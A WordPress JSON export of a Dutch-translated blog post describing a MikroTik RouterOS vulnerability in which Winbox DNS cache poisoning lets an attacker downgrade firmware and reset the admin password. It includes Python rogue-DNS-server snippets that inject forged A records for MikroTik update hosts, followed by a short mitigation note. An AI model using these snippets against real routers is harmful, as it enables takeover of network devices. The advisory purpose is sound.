{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/46ec2f99e789d0b82f56e1c8d2b6b7ec.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDe mogelijkheid om apparaten op basis van RouterOS (Mikrotik) op afstand te downgraden vormt een bedreiging voor honderdduizenden netwerkapparaten. De kwetsbaarheid hangt samen met het vervuilen van de DNS-cache van het Winbox-protocol en maakt het mogelijk om een verouderde (met een reset naar het 'standaard' wachtwoord) of gemodificeerde firmware op het apparaat te laden.<br \/>\n<noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><br \/>\n<img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/d1617d459a12e0101ed8f3a8ba4b5e24.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h3>Details over de kwetsbaarheid<\/h3>\n<p>\nDe RouterOS-terminal ondersteunt een resolutie-opdracht voor het zoeken naar DNS.<\/p>\n<p><img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/649794760de3663f33797da2c508570b.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDit verzoek wordt verwerkt door een binaire bestand met de naam resolver. Resolver is een van de vele binaire bestanden die zijn verbonden met het Winbox-protocol van RouterOS. Op hoog niveau kunnen de 'berichten' die naar de Winbox-poort worden verzonden, worden gerouteerd naar verschillende binaire bestanden in RouterOS op basis van een nummeringsschema dat op een array is gebaseerd.<\/p>\n<p>Standaard is de DNS-serverfunctie in RouterOS uitgeschakeld.<\/p>\n<p><img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/1386b8690213499bc2ce2048219e26f8.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEchter, zelfs wanneer de serverfunctie is uitgeschakeld, blijft de router zijn eigen DNS-cache behouden.<\/p>\n<p><img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/99c2f8b6c6fd650455849cec67149007.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nWanneer we een verzoek doen met winbox_dns_request, bijvoorbeeld example.com, zal de router het resultaat in de cache opslaan.<\/p>\n<p><img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/7be9563b09429e47ba396443cd065004.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nAangezien we een DNS-server kunnen opgeven waar het verzoek doorheen moet gaan, is het triviaal om onjuiste adressen in te voeren. Bijvoorbeeld, het is mogelijk om een implementatie van de DNS-server van <noindex><a rel=\"nofollow\" href=\"https:\/\/gist.github.com\/pklaus\/b5a7876d4d2cf7271873\">Philip Klaus<\/a><\/noindex>, zo te configureren dat deze altijd reageert met een A-record dat het IP-adres 192.168.88.250 bevat.<\/p>\n<pre><code class=\"cpp\">def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n<p>\nNu, als je met Winbox voorbeeld.com zoekt, kun je zien dat de DNS-cache van de router is vervuild.<\/p>\n<p><img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/b5da0f4e542350b3bf2b9977b4568ec1.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nNatuurlijk is het vervuilen van voorbeeld.com niet erg nuttig, omdat de router het feitelijk niet zal gebruiken. Toch moet de router verbinding maken met upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com en download.mikrotik.com. En dankzij een andere fout is het mogelijk om ze allemaal tegelijk te vervuilen.<\/p>\n<pre><code class=\"cpp\">def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n<p>\nDe router vraagt om \u00e9\u00e9n toestemming, terwijl wij er vijf teruggeven. De router cachet al deze antwoorden onjuist.<\/p>\n<p><img decoding=\"async\" alt=\"Backport-kwetsbaarheid in RouterOS bedreigt honderden duizenden apparaten\" src=\"\/wp-content\/uploads\/2019\/10\/0cc8b45337fa71f2ea3a1222e4d673c2.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nHet is duidelijk dat deze aanval ook nuttig is als de router functioneert als DNS-server, omdat het het mogelijk maakt om clients van de router aan te vallen.<\/p>\n<p>Deze aanval maakt het ook mogelijk om een ernstigere kwetsbaarheid uit te buiten: een downgrade of terugport van de RouterOS-versie uit te voeren. De aanvaller reconstructeert de logica van de update-server, inclusief de changelog, en laat RouterOS een verouderde (kwetsbare) versie zien als actueel. Het gevaar hier is dat bij de \"update\" van de versie het wachtwoord van de administrator wordt teruggezet naar de standaardwaarde \u2014 de aanvaller kan het systeem binnen met een leeg wachtwoord!<\/p>\n<p><center><div class=\"youtube-placeholder\" data-id=\"5SW7z0eUDuA\" onclick=\"loadVideo(this)\">\r\n        <img decoding=\"async\" src=\"https:\/\/img.youtube.com\/vi\/5SW7z0eUDuA\/hqdefault.jpg\" alt=\"Video afspelen\" loading=\"lazy\" width=\"480\" height=\"360\" style=\"width:100%;height:auto;\">\r\n        <div class=\"play-button\"><\/div>\r\n    <\/div><\/center><br \/>\nDe aanval is volkomen operationeel, hoewel <noindex><a rel=\"nofollow\" href=\"https:\/\/medium.com\/@jbaines\">de auteur<\/a><\/noindex> nog enkele andere vectoren implementeert, inclusief <noindex><a rel=\"nofollow\" href=\"https:\/\/medium.com\/tenable-techblog\/routeros-chain-to-root-f4e0b07c0b21\">het inbouwen van een backdoor in de firmware<\/a><\/noindex>, maar dat is al een overbodige techniek en het gebruik ervan voor onwettige doeleinden is strafbaar.<\/p>\n<h3>Beveiliging<\/h3>\n<p>\nEenvoudigweg het uitschakelen van Winbox helpt om deze aanvallen te voorkomen. Ondanks het gemak van beheer via Winbox, is het beter om het SSH-protocol te gebruiken.<br \/>\n<br \/>Bron: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/post\/473676\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":39605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-39604","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"nl_NL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47Backport \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RouterOS \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2019-10-31T19:36:42+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2019-10-31T19:36:42+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47De backport kwetsbaarheid in RouterOS bedreigt honderdduizenden apparaten | ProHoster","description":"Mogelijkheid.","canonical_url":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"nl_NL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47Backport \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RouterOS \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 | ProHoster","og:description":"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c.","og:url":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:36:42+00:00","article:modified_time":"2019-10-31T19:36:42+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"39604","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-24 02:24:21","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-03-01 00:47:24","updated":"2026-01-24 02:24:21","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/39604","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/comments?post=39604"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/39604\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media\/39605"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media?parent=39604"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/categories?post=39604"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/tags?post=39604"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}